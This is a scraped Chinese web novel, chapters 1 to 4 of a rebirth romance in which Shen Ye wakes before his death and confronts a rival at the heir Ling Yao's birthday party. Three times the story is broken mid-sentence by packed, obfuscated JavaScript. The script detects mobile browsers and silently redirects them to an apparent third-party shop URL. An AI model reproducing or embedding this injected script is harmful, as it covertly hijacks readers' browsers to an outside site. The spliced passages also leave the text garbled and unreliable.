《大小姐攻你又怎么了》 1. 第 1 章 C市,清溪园殡仪馆。 深冬的C市鲜少下雪,这天却轻易地落了厚厚一层。 院里飘着火纸灰和檀香,和雪色交织,看起来莫名寂寥。 这个馆厅不大,现在四周白幔垂落,冷光照得厅里更是一片惨白。 那口棺材放在正中,开口朝上。 沈野躺在里面,穿着一身笔挺的黑色定制西装,衬得他肤色眉目俊逸,锁骨削尖。 鼻尖那颗小痣在入殓妆下若隐若现。 他整个人的状态是安安静静的,像在补觉。 如果不是知道他死了,估计会以为是哪个有钱公子喝多了,睡在了自家产业的VIP包间里。 说来也遗憾,沈野他死的时候近三十,在这个人均寿命直奔八十的年代,绝对算得上是英年早逝了。 死因众说纷纭。 微博上小道消息很多,写什么的都有:胃癌、自杀、抑郁、抑郁得胃癌。 还有圈内人的冷嘲热讽:“沈总这种拼命三郎,死得早也不稀奇。” 有记者来报道,称这里吊唁的人来来去去,搞得好像很热闹的样子。 只是这些人里,来看热闹的多,真为沈野哭的,倒没几个。 灵堂外头,满满停了二十几辆黑车。 宾利、迈巴赫、卡宴,一水儿的低调牌照。 每辆车情况都差不多,油光锃亮,窗帘紧拉,甚至有些车里的人,连车都不下了,只隔着窗望两眼,偶尔让助理进去上个香,说几句公事公办的悼词,再转身走人。 沈野好像做了一场梦。 他躺在医院重症监护室里,对着梦中正中央那张黑白遗像看了几秒,微微挑眉。 眉骨硬朗,眼角挑得很冷,唇线紧抿,很酷,一副“我不好惹”的脸。 “……拍得还挺帅。” 他心里居然升起一丝荒谬的欣慰。 再看眼下,香烛明灭,遗像端正。 在梦里, 时间过去很久,久得雪停了、天也暗了,他却还没有醒来。 沈野在梦中抱着手臂,茫然地望着一地潮湿的纸钱,心里甚至生出一点怪异的好奇。 这个梦到底能持续多久? 他挑了挑眉,感觉像是被某种潜意识耍了一道,仿佛有什么重要的信息非要通过这个梦让他看到。 直到最后一个时辰。 一辆黑色宾利停在灵堂门口,很快走下来一个穿黑西装的青年。 修长挺拔,一身剪裁锋利的西装裹着懒散又危险的气场。 他身边跟了好几个人,纷纷为他打伞。 这派头,沈野一眼就认出来了。 凌曜。 多年不见,再次相见还是在潜意识的梦中。 他还是这副模样,那张脸还是漂亮得过分,五官精致,线条艳丽,像幅油画,也像把尖锐的刀。 只不过神情疲惫又苍白,像熬了好几夜,没合眼。 他站在棺材前低头看了沈野一眼。 那一眼,很长。 沈野闭着眼,皮肤冷得泛白,鼻梁高挺,像是睡着了。 两只手规矩地交叠在腹前,指尖微微收着,一副从不示弱的姿态。 凌曜随手让保镖退下,然后他在蒲团前,缓缓跪下。 沈野屏息,心底某根神经莫名地绷紧。 这个从小跟他不对付、长到大还要跟他作对的小太子爷。 自从沈野他爸退出凌云集团,两人已经多年没有见面了。 沈野看着他低头,手慢慢抚上棺木。 凌曜的手指居然是抖的。 然后,梦中的凌曜伸手,一寸寸,缓缓摸过沈野的遗像边框。 他低声说了句:“你可真狠。” 沈野有些摸不着头脑。 凌曜原本应该是恨他的。 但按照他对太子多年以来的了解,如果他恨一个人,是不可能去这个人的葬礼、甚至奉香的。 正当沈野思考的时候,凌曜忽然低头,俯身,像是怕惊动谁一样,低低亲在了沈野唇上。 就一下。 轻、快、克制。 沈野:“……” 操。 这人是不是有病??!! 凌曜闭着眼,睫毛轻颤,指腹停顿在沈野唇角,轻轻一蹭,像是舍不得。 “……你怎么不肯等我。” 他说。 凌曜久久望着遗像不肯走,最终落下一滴泪。 明明是一张嘴毒心硬、见谁都爱摆脸色的脸,此刻却红着眼睛,破碎感十足。 好像他真的失去了什么重要的人。 沈野缓缓从吓傻的状态中恢复,后背一阵阵发凉。 不是吧?他疯了? 靠,他好像真疯了。 沈野马上在梦中转身背对这糟心的一幕,极其烦躁地挠挠头。 他想不通。 凌曜从小和他不对付,明里暗里跟他作对,吵过、打过、冷战过,就差没互相捅刀子了。 上学时还好,他们在凌家度过了一段还算不错的童年。 但越长大,凌曜的公主病……或者说,是从小众星捧月,被惯坏了的大小姐脾气,就越让他受不了。 谁一提“凌曜”,他就想翻白眼。 那家伙性子坏、脾气硬、喜欢踩他底线,还像凌老爷子一样,想控制他的一切。 他不止一次想过,凌曜是不是早就讨厌他了。 可现在在梦里回想起来,不对啊。 后来两人闹翻,有一次他半夜发烧进医院,在没人通知的情况下,凌曜居然来了。 也不知道他是通过什么渠道得知的消息吧,那家医院是他家的产业也有可能。 总之凌曜是唯一一个来看他的人,在病床前一句话不说,默默站了一会儿,就出去了。 后来护士才告诉他,凌曜在病房外坐了一夜。 那时他们都二十多了。 不是昨天吵完,今天就能和好的八岁小孩。 想到这里,沈野脑子里忽然闪过一个念头,吓得他头皮一紧: 凌曜不会是喜欢他吧?!!! ……靠。 他睁大眼,冷汗一下从后背涌出来。 这是什么鬼展开?! 整整三十年铁直男的生涯,他从没往这方面想过,结果死都死了,还得接受一个可怕的事实: 他这一生最大的过错,不是年轻气盛和凌曜吵架,不是被卷进凌家的乱局,也不是彻底和凌曜决裂。 而是他可能,不小心,把一个人…… 掰弯了。 而且掰得不轻。 沈野喉咙发干,整个人一身鸡皮疙瘩,活像被雷劈过。 他是真的,一点准备都没有。 随即,一阵头疼欲裂的剧痛袭来—— ── 凌晨四点半,已经微微亮了。 酒店窗帘没拉严,天光顺着落地窗一点点洇进来。 沈野猛地从梦里惊醒,整个人浑身是汗,胸口剧烈起伏,震得发慌。 他撑着床沿坐起身,额前碎发贴着汗,指腹下意识擦了擦唇角。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16779261|190331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 一瞬间,又浮出梦中的画面。 沈野手指一僵,动作顿住,整个人像被电过一样。 “……” 他低声骂了句:“靠。” 哪儿有这么荒唐的事。 沈野忍不住揉了把脸,掀开被子下床,赤脚踩在酒店的地板上,走到洗手间。 镜子里的人脸色苍白,眉骨锋利,眼神发懵,像是刚从生死场回来。 他拧开水龙头,一把冷水兜头泼下去。 ……还是不行。 脑子里那点不干净的画面根本洗不掉。 他低头盯着滴水的指尖,闭了闭眼,心口像压了块什么东西。 真不是因为亲了他不舒服。 是因为……沈野从来没想过会被凌曜喜欢。 他是那种从小在兄弟堆里长大的直男,直得不能再直,凌曜再好看,他也从来没往这方面想。 更别提他们的关系。沈野甚至不欣赏这个人。 凌曜脾气糟糕,控制欲强,爱摆谱,小时候动不动就要他“陪我”“你只能和我玩”,说白了就是娇气得莫名其妙,还很独断专行。 偏偏他真不能拿凌曜怎么样,这人可是凌云集团太子,他家得罪不起。 甚至,他家经济还要仰仗凌曜他爸。 沈野从小被他烦到怀疑人生,直到后来分道扬镳,两人老死不相往来,他才总算松了口气。 结果呢? 他死了。 对方居然千里迢迢跑来吊唁,低头,亲了他。 沈野抱着胳膊站在镜子前,嘴角抽了抽,像是被天雷劈中。 他越想越觉得膈应,浑身起鸡皮疙瘩。 好半天,他才缓过劲来,从酒店衣帽架上拿过西装外套,慢吞吞开始换衣服。 手指扣纽扣的时候,突然顿住了。 脑子里像被谁敲了一下。 不对。 他为什么在酒店? 而且看样子,自己还重生了。 沈野下意识抓起床头的手机,点亮屏幕,看见锁屏上的时间和日期,脑子里大概有了印象。 这年他二十六岁,昨天在跟父亲一起参加一场商业饭局。 他记得那顿饭喝得有点多,后来就被人送到这家酒店休息。 按照上辈子的记忆,凌曜年纪比他小两岁,此时还在国外混着本科,回国次数屈指可数。 他们那时已经好几年没联系了。 甚至当时,还有媒体爆料说,凌曜在国外也传出不少绯闻,男女都有。 沈野当时还不相信,觉得凌曜是被黑了。 哪有男的和男的谈恋爱的?凌曜怎么可能这么重口,应该是得罪什么人了,或者是舆论商战。 沈野想到这,后脊梁一凉。 原来早就证实了啊。 沈野回去继续睡觉,等到了早上八九点,一个电话正好打进来把他吵醒。 备注是:【孙潇桡】 沈野揉揉眼睛,皱眉。 这人他不太爱搭理,西南头部地产商的少东家,在圈里混得不错,哪儿有热闹哪儿有他。 嘴碎、手长、消息灵。 打牌永远甩赖的那种类型。 也正因为如此,什么事他能第一个知道。 他看着那通来电响了三声,刚想挂,结果那边就锲而不舍地又打了一遍。 “……” 沈野接了,“喂?” “野哥!你还活着哇?”对面声音热情,“明晚这点儿打不打算出来冒个头?太子都回来了你知道吗?” 2. 第 2 章 沈野有点纳闷。 首先,他明白,“太子”,说的只可能是凌曜。 凌家是凌云国际的创始家族。 老董事长,也就是凌曜的爷爷,五十年代白手起家,从重工设备起步,在国内率先吃到政策红利,八十年代就开始与欧洲几大财团合资,把产业链做到了海外。 如今的凌云,早已不只是一个普通集团,而是名副其实的跨国商业帝国。 旗下涉及金融、能源、基建、科技研发等内容,遍布亚欧美数十个国家和地区,掌握着一整条跨国供应链。 业界公认,凌云国际能量大到不容撼动,是亚洲资本进入欧美市场时,最具话语权的势力之一。 而凌曜他爸,现任董事长,早在十几年前就被定为唯一继承人。 铁腕手段,开疆拓土,和几大国际巨头都有过合作。 凌曜出生的那一天,凌家别墅外停满了宾客的车。 国内外合作伙伴都送来祝贺,连当时的政界高层都特意致电,祝贺凌家太子降世。 因此, “太子”这个称呼,凌曜从小担到大。 发觉沈野不吭声,孙潇桡在那边咕哝,“干嘛,你装听不见啊?!” 按理说,以凌家的体量,凌曜要是回国,消息根本不可能压得住。 早该有风声放出来,圈子里那些人更会抢着去接机,巴不得借机攀上一点关系。 可偏偏,这么大的动静,连孙潇桡都不知道。 孙潇桡那边还在纳闷:“他回来,我也是今天才听说。” 他挠挠头,喃喃:“凌曜这几年不是一直在国外嘛?这次突然提前回国,我是真不晓得为啥。” 沈野眉心微蹙。 他仔细想了想,上辈子,凌曜也不是这个时间点回来的。 一股说不清道不明的错位感,缓缓涌了上来。 不过孙潇桡一向想得开,凌曜这人脾气不好,喜怒无常,被娇惯坏了,他横竖想不到凌曜的想法,干脆不猜了。 于是孙潇桡补充道:“我好心好意提醒你哦,太子爷今晚生日局,场子在老万家新开的那家会所,听说包了整栋楼。” 沈野低头看看表,发觉现在的日期,的确离凌曜生日不远。 他确认:“你说谁生日?” “太子爷还能有谁,凌曜啊。”孙潇桡咂嘴,“你好奇怪,一副毫不惊喜的样子,是不是要谋权篡位啊?” “据他表哥说,太子昨晚刚落地,按理得好好休整。结果他硬是把生日局提前安排今天,时差都没倒,你说牛不牛逼?” 沈野:“……” 他很想说,新华国都成立这么多年了,哪来的太子,你们还是不要太封建了。 但和孙潇桡这个大草包说不通。 沈野沉默了三秒,冷静下来,问:“我不是和凌家都快对付上了吗,怎么又喊我?” 孙潇桡笑,“你们以前不是关系挺好么,他表哥叫我联系你,我们哪敢瞎喊?再说了,你来蹭场子玩一玩也不错。反正场上那些人,还不是围着凌曜转。” “你不来就亏大了。”他语气一转,贼兮兮补一句,“好几个央四小花都来,要不你……” 沈野觉得他好猥琐,无语道:“挂了。” “诶别别别你等等——” 嘟。 电话挂断。 沈野记得前一世,生日局打电话的可不是孙潇桡。 那时候,是肖展颜。 凌曜的亲表哥。 他对肖展颜印象一直不错,那人性子阳光开朗,处事也大方得体,人品在这群二代三代里,算得上难得的敦厚。 圈子里那些个吃喝嫖赌的花样,他几乎都看不上眼。 不像孙潇桡,贪财好色,浑身上下全是纨绔子弟的气息。 凌曜表哥唯一的毛病,估计就是弟控。 表弟在他心里就是块宝,别人稍微说两句不好听的,他能立马炸毛。 除此之外,肖展颜几乎挑不出什么错。 不过,哪怕是这样的人,当年生日局也没能把自己拽去。 沈野那会儿懒得理,他大凌曜两岁,对这种稚气未脱的局没什么兴趣。 结果当天晚上就在商业饭局上被人灌酒,丢了份重要的合约。 从那之后,沈家彻底脱了节。 沈野记得很清楚,从那一天起,他自己也被推到最前头,硬生生扛起家族的存亡和烂摊子。 等挂断电话,他坐在酒店床边,静静等了几分钟。可肖展颜始终没有打来。 他心里一动,隐约猜测——可能是自己的重生打乱了某些既定的轨迹,导致细节和上辈子有了偏差? 片刻后,他把手机随手扔到一旁。 不管怎么变,这一局,他必须得去。 沈野闭上眼,努力回忆。上辈子在凌曜生日之后,本该稳妥的合作突然生变。和自己谈好的那家公司,临时倒向了别人。 而那人,姓曾。 曾家是C市新贵,靠矿产起家,近几年势头极猛。尤其是曾巍巍,年纪轻轻就坐上集团总裁的位置,外界传得沸沸扬扬,说他志在打入凌家核心圈。 而他的突破口,正是凌曜的生日局。 那一夜,曾巍巍绕过沈野,直接和凌曜攀上关系,抢走了那笔合约。 外界鲜有人知晓,沈野也从未对外透露过。 但结果很快显现。从那天起,沈家原本依托凌家的业务链断裂,扶持资源被人悄无声息地撤走。 手机屏幕再度亮起,是一条银行账单推送,顺带提醒他时间已不早。 沈野抬手关掉,起身换了衣服,从酒店退房,打车回到南郊的家。 家里空荡,客厅灯没开,桌上只剩一堆翻开的合同。 苹果被切了一半,放久了,切面早已氧化发黄。 沈致远显然又是一早出门谈项目。 自从离开凌云总部,被外派去管那些边角子公司,沈致远就等于被架空。高管背后暗笑他是“打工皇帝”。最终,他索性提出辞职,带着几位老部下出来单干。 如今手里唯一能撑起局面的,是一个基建工程外包项目。可这一行水太深,人脉吃紧,资金更是一日比一日紧。 沈野看着那些合同,心里泛起一种说不出的压迫感。 母亲早年过世,家里只剩父子二人,也没请保姆,屋子静得出奇。 沈野脱下外套,坐到沙发上,扫了一眼桌上的合同文件,果然就是上辈子生日会涉及的那份地皮合同。 他沉默了一下,眼神慢慢沉下去。 沈野上辈子死得不明不白,到死都不知道是谁动的手,也不知道那段时间谁在背后悄悄断了他们的路。 所以今晚,他必须去。 至少把这份合约谈成。 —— C市南门,夜风里有淡淡的酒香味。 穿过一条老街,沈野驱车赶到 LUX 会所,这时时间恰好是深夜十一点。 这栋会所藏在一幢翻修过的清代四合院里,外立面没有任何招牌,只在两侧立着极简的灯柱。低调到极致。 院子里停满了车,劳斯莱斯幻影、迈巴赫S680、宾利添越、法拉利812 Superfast…… 清一色的“A”字头牌照,尾号要么“1818”,要么“6666”,乍一看,像是市里顶流企业家的一场年会,实则是这一代富少里最顶尖的私局。 沈野站在门口,指间夹着一根烟。 他本来不爱抽,只在压力大的时候,才会点一根点着玩儿。今晚风大,半根都没点着,烟灰捻了几次,全碎落在鞋边。 他穿着一身深灰西装,剪裁合身,领口开了两颗扣子。 眉骨压下来时眼神锋利,手腕上是一块老款江诗丹顿,表盘极简低调,却一看便知价值不菲。 “野哥?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16779262|190331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江乐君从门里探出头,看到他吓了一跳:“你怎么一个人在门口抽闷烟?不是说九点半到?这都几点了……” 沈野只是“嗯”了一声,慢吞吞,拖拖拉拉地把烟捻进垃圾桶。脑壳还有些涨。 他一想到一会要见到谁,一颗直男的心就开始咯噔直跳。 他妈的,真接受不了。 一个从小和自己对着干的男人,忽然变成会在自己遗像前亲吻的疯子。 太癫了。 太癫了。 这局是凌曜的生日局,圈内人都知道,是凌曜每年过生日时的专属场。 只请人脉圈最核心的那些人,进来的人,不是家里在C市能跺脚响三声的主儿,就是自己混出了点实权地位。 LUX整个都封了,厅里金碧辉煌,沈野一走进去,一眼就看见桌上没开封的限量威士忌,各色名酒,随便一样,拿出去都能当收藏。 空气里弥漫着香水与酒精的气味,带着纸醉金迷的甜腻。 卡座上坐着七八个少爷,全是这一代最不能惹的少爷。 看见沈野来了,他们都惊讶得快跳起来。 这些人大多数是从小一块儿长大的,自然也和沈野熟悉。 可惜,自从沈父退出凌云集团,带着沈家单干,他们之间的关系微妙了许多。 有人想叫沈野,又怕场面尴尬;而沈野自己也从不爱掺和这种花里胡哨的酒局。 所以一来二去,他们很久没见过他了。 此刻,他一出现,让几个人都忍不住收了笑,神情复杂。 “我靠!沈野?!” “野哥,我刚还跟潇桡打赌你不来了呢!你可真给我整惊喜了——” “来来来坐这里!” 沈野抬眼一扫,屋里熟面孔不少,有的是凌曜亲戚,有的是凌云集团子公司老总的公子哥,平时一个个作天作地,在凌曜面前却乖得像猫。 沈野并不陌生。 这些人从小就在同一个体系里长大,从幼儿园、私立小学,到市里最好的贵族中学。 小时候喝的是一桌,小学打架也是一堆人冲出去的交情。大学虽然散落到世界各地,但只要凌曜一句话,还是能召回来。 这场子他来过不止一次。 但这次不一样。 因为他是沈野,三十五岁重来的沈野。 他忽然意识到,自己小时候无比熟悉、甚至习惯的这一切纸醉金迷,服务生面对一群比自己小的人,那恭敬的低眉顺眼,竟然像舞台剧一样,有点荒唐。 一群人一拥而上,把沈野拉到主位。 热闹归热闹,沈野心里没放松。 他走过去时目光一扫,便在最角落的落地窗旁,看到一个熟悉的身影。 曾巍巍。 那人穿得很讲究,一身TF低调又休闲,五官却不算讨喜,眼神一直在扫着场子,像在等人接应。 明显还没被这群人真正接纳,只能尴尬地立在边上,装作在跟助理回微信。 沈野眼神一沉,坐在主卡座。 主位靠窗,沙发是整块真皮打的U型环。 靠最里侧坐着一个人,扣子没系好,锁骨和一点皮肤露在灯光下,白得晃眼。 打火机在他掌心里转动,冰凉的火光映得他手指修长,指节分明。 他眼尾往上扬着,是一副秾丽精致的样子,从鼻梁到下巴,美得像西方的油画,偏偏还有着天潢贵胄的气场,看起来神情恹恹,很不好惹。 沈野忍不住心里暗骂一句。 命运特么就是不公平。 给了凌曜金字塔顶端的家世,还给了他这样一副皮囊。 凌曜抬起眼皮,长睫在眼下落下一片阴影。那双眼冷冷一勾,带着点锋利的讽刺。 “沈野。” 声音不高,却让周围一众公子哥都安静了。 沈野心跳不由慢了半拍。 他太熟悉这种语气了。 3. 第 3 章 这是凌曜有点不高兴的语气。 他推测一下,大概是因为自己明明说好九点半到,结果硬是十一点才露面。 沈野:“嗯。” 他指尖轻敲着杯沿,一时间没接话。 凌曜把打火机啪的一声扣在桌上,侧过脸来,漫不经心开口:“沈野,你的表是停了,还是压根就不会看时间?” 场面一时有点冷。 卡座上和凌曜相熟的人笑起来:“哎哟,咱凌少这是生气啦?” “哈哈,少见,少见。” 江乐君赶紧替好哥们儿打圆场,举起酒杯笑道:“哎呀凌曜,沈哥刚才在外面堵车了。今晚能赶过来就不错了,别计较嘛,兄弟们难得聚一块儿。” 凌曜没接话,眼神却仍旧落在沈野身上,唇角勾着,似笑非笑。 身边卡座的人又开始吵闹:“咱太子爷昨天刚落地啊,飞机一落就来开局,连时差都没倒,属实疯了吧哈哈哈!” “你是不知道,刚才还有个小明星在外面吵着要上来,被一句话给怼回去了!” 就在众人热络调笑、气氛逐渐升温之时,包间门被推开,又进来一拨人。 走在最前头的是老万家的小公子,万祁舟,和曾巍巍挨得极近。 “抱歉我来迟了,啧,路上出了点事故,重新换车来的。” 沈野本来没在意,直到听到万祁舟笑着说了句:“巍哥你可别客气,咱哥们儿一群,都是些讲义气的,咱也算是同一圈的了。” 沈野正低着眼,手指轻轻转着杯脚。听见关键词那一瞬,眉头轻轻一动。 “巍哥,给大家打个招呼。”万祁舟说。 曾巍巍像是终于逮到机会,立马快步上前,笑得谦和又殷勤,语速飞快地自我介绍了一番,还微微弯身鞠了一躬。 “曜少,在下曾巍巍,巍诚集团的。今天能见到您,真是荣幸之至。” 凌曜手指搭在沙发扶手上,慢悠悠抬了抬眼,眸色冷淡。随意点了一下头,算是给了个照面。 场面顿时就有点诡异。 曾巍巍还不死心,目光一转,径直落到沈野身上,刻意提高声音,不怀好意道: “沈哥,好久不见了。” 厅里瞬间安静了一拍。 沈野抬眼。那双狭长的双眼皮一挑,眼神里带着点凉意,鼻尖那颗细小的痣更衬得冷冽。 他淡淡吐出一句:“……你谁来着?” 气氛“嗤”地一声冻住。 几位少爷手上的动作都僵了下,有人捏着酒杯,半晌才缓过神来,互相对视,眼神里全是忍笑和看戏的意味。 这话可太不给面子了。 曾巍巍僵了下,又笑着补了句:“我是巍诚集团的曾巍巍,上次我们在盛乾地产的酒局上碰过面,我爸还和沈叔打过照面。” “哦。”沈野语气淡淡,连个多余的字都没给。 厅里气氛还没从那句“你谁来着”里缓过神,众人就见曾巍巍僵着笑容收回视线,装作若无其事地喝了一口酒。 孙潇桡眨巴眨巴眼,乐呵地咧嘴笑了。 没想到这生日局还有别的戏可以看?有意思。 万祁舟一看场子要冷,连忙打着哈哈,把手一挥:“行啦行啦,都别僵着啊!生日局嘛,最重要的可是礼物。来来来,咱都拿出来溜一圈!” “今天谁手头最重?可别藏着掖着啊!” 他一喊,卡座里的气氛立刻又热闹起来。 一个接一个,仿佛献宝似的,纷纷把礼物往凌曜面前递。 “凌曜,这是我给你定制的赛车手套,你上次不是说冬天在温埠练车,手都磨红了吗?我一直记得呢。” “我这块表不算贵,不过是限量的劳。要是你嫌弃,改天我再换别的,反正我正愁衣服找不到合适配饰。” “曜少,这是维特鲁威刚出的墨镜,你戴上试试,绝对能镇住全场。” 一件件奢侈品被递过来,金光闪闪,堆得满桌都是。 大大小小的盒子叠成小山,零零散散的腕表、皮具、首饰,几乎晃花了眼。 最热闹的那几个少爷还闹着要凌曜当场试戴,笑声和起哄声一浪高过一浪。 凌曜半倚在沙发里,白皙的锁骨衬着真皮靠背,像是随意被众人簇拥的王子,没拒绝,也没多兴奋,只抬眸随意扫一眼,唇角淡淡一勾。 江乐君瞥了眼桌上那一片金碧辉煌,用胳膊肘导导沈野,好奇问:“你送的什么?” 沈野……沈野他打空手来的。 于是沈野没说话。 突然,耳边传来曾巍巍的一声:“我这也不是什么贵东西,小小心意。” 他抬手,恭敬敬地递来一只装礼物的盒子。 盒子是黑色丝绒的,印着法国某小众品牌的金色烫字。 外行看着低调,内行才知道,这品牌的入门款就得六位数起跳。 “听说曜哥最近在玩投资,我这有套艺术家限量玩偶,法国那边带过来的,不大值钱,就是现在圈子里挺火的。” 他说完,把盒子推了过去,又笑着一撩话题:“不知道曜哥收不收这种二手圈子的东西,不过嘛,总比什么都不送的人要好,显得一点也不重视。” 语气不轻不重,似真似假,一句话把几个暗戳戳的标签全塞了进去。 空气里顿了一下,只要留心观察的人都知道,他在点沈野呢。 沈野笑了声。 他抬起眼,看了曾巍巍一眼。 “我能看看么?” 曾巍巍一怔,看向凌曜。 太子没说话,不说话就是默认。 曾巍巍无语,不知道沈野在装什么,可考虑到他还要和沈野维持表面关系,太子也同意了,就只能伸出手,做出一个“请”的姿势。 沈野打开盒子,看了一下。 只是,眉间有点玩味。 “这玩偶,我以前也看过。”沈野语气淡淡。 “确实火,在法国超市边上那种快闪店挺多,学生买着玩用的。” “……呵呵,怎么可能,你说的是山寨吧。”曾巍巍盯着他,眼里带点鄙夷。 他就知道,沈野不懂行。 这可是他精心大厅太子爷的喜好,找出的重量级礼物。 沈野慢悠悠问:“哦,按你意思,你说这是正品?” “……那你是从倒爷手里拿的吧,我记得国内报关记录上限就那一套,几年前就被人买了。” 他说着,转头看了眼凌曜:“那时候你飞米兰比较忙,托我帮你买的。你后来卖了?” 凌曜闻言挑了下眉。 “卖了一个。”他勾勾唇,笑得有点促狭,“我记得是一对,其中一个被你嫌颜色太土,就卖了。” 众人一听,全笑了。 有人打趣:“太子这眼光不错啊,几年前就布局上了!” “嚯,原来曾哥是又把曜哥的东西买回来了啊?这可就尴尬了!” 像孙潇桡这种没心没肺的,已经不厚道地开始掩嘴,一个劲地哈哈哈,还作势要拍照,发朋友圈。 曾巍巍焦头烂额拦住孙潇桡拍照的动作,脸上颜色变了好几轮。 他强撑着笑容道:“原来是曜少托你买的啊……我也是无意……” “这玩偶限量三套,定制编号刻在脚底,你打开看看,看看上头名字是写的L.Y还是别的?”沈野语气轻轻。 曾巍巍没动,凌曜干脆把打火机搁下,打开后,脚底有一串编号,最后刻着:“L.Y”。 “还挺走心。”凌曜垂着眼,看着编号,语气没什么起伏,“但我确实已经有一只了。” 他话一出,全场再度爆笑。 “曾哥,曜哥给你个机会,你要不要把他另一只没卖的买了,凑成一对?” “这也太冤了,送回原主手上了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16779263|190331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曾巍巍脸色终于绷不住,眼底闪过一丝怨毒。 他低声说:“沈哥懂行啊,呵呵,平时也没看见你来这种局啊,是最近手头宽裕了?” 这话意思再明显不过——你不是早就脱圈了吗?几年都不是太子座上宾了,还搁这强撑人设? 沈野慢慢站起身,抬手把桌上的酒推开了些。 只是不小心碰了个杯沿,清脆一声,酒洒出半点来。 沈野比他高半个头,和他对视极有压迫感,似笑非笑道:“你这几年没见到我,是因为你没资格见我。” 气氛当场崩住了。 万祁舟尴尬笑了下,心里万分后悔带曾巍巍来。 他刚想打圆场,曾巍巍却先一步开口了。 “沈哥这话倒是狂,怎么,真把自己还当凌家的人呢?” 他知道自己和万祁舟的合作已经定了,急于在圈子里立威,干脆就先拿沈野开刀。 谁让沈野今天故意往枪口上撞呢? 曾巍巍整个人往前一倾,语气彻底变了: “你以为你还是三年前那个能进凌云高层会议的沈家少爷?现在谁不知道你爸退出来了?” “呵呵,你们家连在建项目都快黄了吧?沈哥,不是我说你,要是撑不住,别死要面子。咱圈里也不是没人混垮过,认栽就得了,何必来这儿蹭热度?” 这一番话说得全场哗然,连那些不太清楚沈家现状的少爷们都交换了个眼神。 他点的全是沈野,肖展颜很想开口替沈野说几句公道话,可是又顾及到自己是凌曜亲表哥、家里还是凌云集团股东的身份,还是不好贸然标明站队。 沈野站起身,朝曾巍巍走近一步,语调压得极低,“你也配说我?” 曾巍巍眼神闪了一下,咬着牙冷笑:“怎么,我就配说了,你不服?” 沈野低笑了一声,眼神冷得像冰。 “你是挺能说,”他道,“但你说这些之前,得先回去问问你爸,今年二季度你们巍诚集团那笔高新区的回款,是不是压根就没到账。” 曾巍巍脸色微变,下意识瞪大了眼:“你……” “别装了,我知道得还不止这些。”沈野语气慢条斯理,像在随口聊天,“你那位江北分公司的姨舅,之前空转了七千万资产,账查出来了吗?” “还有你——曾巍巍。” 他上前一步,语气陡然一沉:“三年前你陪客户去澳门,输了四千六百万,拿了你爹的保函去抵债,你以为没人知道?” 沈野上辈子,曾巍巍抢了他家合作之后就早已调查过。 这人漏洞百出,路子野胆子大没错,可一旦查起来,那想把他送进局里,简直轻轻松松。 这话一出口,所有人都噤了声,非常震惊地看着曾巍巍。 沈野眯着眼看他,警告道:“你来踩我前,得先站稳了。” “这圈子小得很,你爸那点关系,也救不了你一辈子。” 曾巍巍脸上的血色唰地全退了,像是被什么掐住了脖子,半天说不出话来。 他知道自己这些事外头也不算完全的秘密,多多少少有一点风声。 但也绝对不该被沈野这样一条一条点出来,像翻旧账一样给人当众撕开! 更让他惊恐的是,沈野眼神太冷,像是知道得比他说出来的还多,只是没打算一次讲完。 “你怎么知道……你,难道你是在调查我?在威胁我?”曾巍巍声音都变了调。 “我哪敢。”沈野嗤笑一声,“只是提醒你,踩着别人的肩膀往上爬的时候,记得自己屁股底下那点破事儿,捂得牢不牢。” 他话音一落,曾巍巍脸色彻底炸开,眼神都开始发红,猛地一拍桌站起:“你找死!” 曾巍巍拿起酒瓶子“哐”地一声砸桌上,里面的液体稀里哗啦流了一地。 下一秒,他已经举起酒瓶子往沈野面门挥过去—— 4. 第 4 章 “沈哥——!!” 江乐君眼疾手快,一把从后面拖住沈野手臂。 护在门外的安保也冲上来死死拦住中间两人。 两边人马瞬间混乱,沙发撞翻一边,杯盘狼藉,沈野眼神冰冷,喘着气,拳头还紧紧攥着,周身那股压着怒火的狠劲儿让人不敢靠近。 曾巍巍整张脸涨得通红,嘴唇都在抖:“你他妈疯了,肯定是疯了,这可是凌曜的生日局!” “所以你来蹭局蹭人设,还想在这里踩我抬你?”沈野冷声道,“当我是泥巴做的?” “你……!!!” “够了。” 一直没发话的凌曜张口了。 他慢悠悠起身,动作自带压迫,走到两人中间。 低垂的眼皮下,那双漂亮得近乎妖冶的眼睛闪过一点寒意。 “曾巍巍。” 他一字一顿地喊名字,冷得让人发怵。 “你是谁请来的?” 曾巍巍明显一僵,下意识看向万祁舟,然而后者早就心虚地别开眼,假装喝酒,半个字都不敢应。 场面静了几秒钟。 凌曜唇角慢慢勾起,笑了一下。 那笑漂亮,却带着危险的意味:“没人认你,你还敢动我人?” 这话一出,全场都变了脸。 太子爷的态度,已经不言而喻。 沈野闻言愣了一下,心里很诧异。 